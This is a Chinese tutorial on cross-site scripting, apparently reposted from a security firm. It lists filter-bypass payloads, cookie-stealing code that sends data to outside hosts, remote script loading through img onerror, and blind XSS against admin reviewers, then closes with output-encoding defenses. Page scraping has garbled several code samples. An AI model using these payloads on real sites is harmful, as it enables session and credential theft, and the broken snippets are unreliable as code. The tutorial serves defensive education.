养生
alert换行(跨站脚本攻击(四))

XSS漏洞挖掘技巧

常见的绕过姿势

4.1.1 利用大小写绕过

<imG SRC=https://news.stou765.com/skin/default/image/nopic.gif onERROR="alert(1)">

4.1.2 使用未知标签

4.1.3 不使用空格和引号

<img/src=https://news.stou765.com/skin/default/image/nopic.gif>

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

<a href="jav

<a href="javascript:alert(1)">使用tab截断javascript</a>

<Sc<script>Ript>alert(1)</sCRIp</script>t>

HTML编码

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

<img src=1 onerror=alert(1)>

<a href="javascript:alert(1)">aaaa</a>

Javascript编码

· jsunicode编码,例如“e”编码为“\u0065”

· js八进制,例如“e”编码为“\145”

跨站拆分法

幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。

<script>z=Z+’write(” ‘</script>

<script>z=z+’ src=https://news.stou765.com/skin/default/image/nopic.gif>

<script>z=z+’w.shell’</script>

<script>z=z+’js></sc’</script>

<script>eval(z)</script>

document.write('<scrip> src=https://news.stou765.com/skin/default/image/nopic.gif>

05

点击添加图片描述(最多60个字)

窃取cookie

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

5.1.1 读取cookie

直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

5.1.2 发送cookie

5.1.2.1 利用img标签(最常用)

var img=document.createElement("img"); //创建一个img元素节点

document.body.appendChild(img); //添加到body节点下

<form id="x" action="http://www.nsf-test-xss.com/log">

</form>

var a = escape(document.cookie)

document.getElementById("x").submit(); //提交表单

可以看到,页面跳转到了攻击者的网站,这对攻击者来说显然是很不友好的。

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

5.1.2.3 使用Ajax发送

由于Ajax可以在不重载整个页面的情况下,对网页的某些部分进行更新。并且Ajax可以在后台传输数据,而对前台没有影响。

IE

同域请求

XMLHttpRequest

XDomainRequest

之前的web页面都是传递整个页面结果,导致浪费了大量的网络宽带。使用了Ajax技术之后,客户端只向服务器传输更新过的内容,借助于客户端的javascript处理服务器的响应。

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

事先把XMLHttpTrquest对象写在一个子程序汇总。数据在服务器URL后面,用“?”字符分割,问号后面的数据会被解析成键值。发送数据的MIME类型通常是 application/x-www-for-urlencode 使用XMLHttpRequest的优势,就是可以从服务器读取不同形式的文本数据,包括XML。

对比上面三种传递方式,发现第二种的代码长度是最长的,这也是才构造了一个form表单,可想而知,若要构造出一个完整的页面进行钓鱼攻击,代码长度势必是不会短的。不仅仅是钓鱼,利用XSS获取用户页面信息、Web蠕虫等特殊情况下代码长度肯定也是很长的。然而实际环境下,很多情况服务端都会限制客户端的输入字符长度。

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

5.1.2.5 调用外部脚本

<script src=https://news.stou765.com/skin/default/image/nopic.gif>

2. 动态创建

var s=document.createElement("script");

s.src=https://news.stou765.com/skin/default/image/nopic.gif>

(document.body||document.documentElement).appendChild(s);

3. 图片方式调用外部JS

<img style=display:none src=1 onerror='var s=document.createElement("script");s.src="http://xsst.sinaapp.com/m.js";(document.body||document.documentElement).appendChild(s);' />

$

先看一个 DEMO:

$("<img src=https://news.stou765.com/skin/default/image/nopic.gif onerror='alert();'>");

推荐阅读 $ 的官方文档:http://api.jquery.com/jQuery/

after()

.appendTo()

.html()

.insertBefore()

.prependTo()

.replaceWith()

.wrap()

.wrapInner()

以上这些方法不仅创建 DOM 元素,并且会马上插入到页面的 DOM 树中。如果使用 `` 标签插入了内联 JS 会立即执行。

document.URL *

document.location.href *

document.location.hash

window.name

document 的大多数属性都可以通过全局的 window 对象访问到。加 * 的属性返回的时编码 (urlencode) 后的字符串,需要解码才可能造成威胁。

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

05

“明打”: 知道输出点情况,可以慢慢调整攻击代码。

盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。

通俗讲就是见到输入框就输入提前准备的xss代码,通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息。

跨站脚本攻击(四)nerror="javascript:errorimg.call(this);">

常见的输出场景

2.<input type="text" value=" [输出点] ">

考虑多种情况,所以构造出XSS语句:

06

输入校验:长度限制、值类型是否正确、是否包含特殊字符。其实校验是对数据无害的,满足就放行,不满足就阻止,这样也能保证数据的原生态。

具体对策

进入HTML标签之间时

& --> &

\> --> >

' --> '

6.2

普通属性如 value、width、height等

<div attr=”[输出]”>...</div> 有引号包围属性值

6.3

特殊属性如 href、src、action等

6.4

CSS非常松散,如果是过滤具体摸个CSS属性值,比如width的值时,尽量避免出现“、’、;、}、{、(、)等特殊字符

6.5

这种情况最为复杂,最好根据现场环境确定过滤对策,需要注意JS的三种编码方式。

现实环境中,很多情况下我们并不需要像上面说的那样一个一个字符去过滤,因为大部分语言框架都已经有相对成熟的XSS防御方案了,只需要调用即可,而且也不推荐自行去实现过滤函数。

· 作为开发人员,要有一定的安全意识,当编写一段代码的时候,要站在攻方的角度,来思考程序的安全性。

转自杭州美创科技有限公司公众号,如需二次转载,请联系marketing@mchz.com.cn


顶一下()     踩一下()

热门推荐

发表评论
0评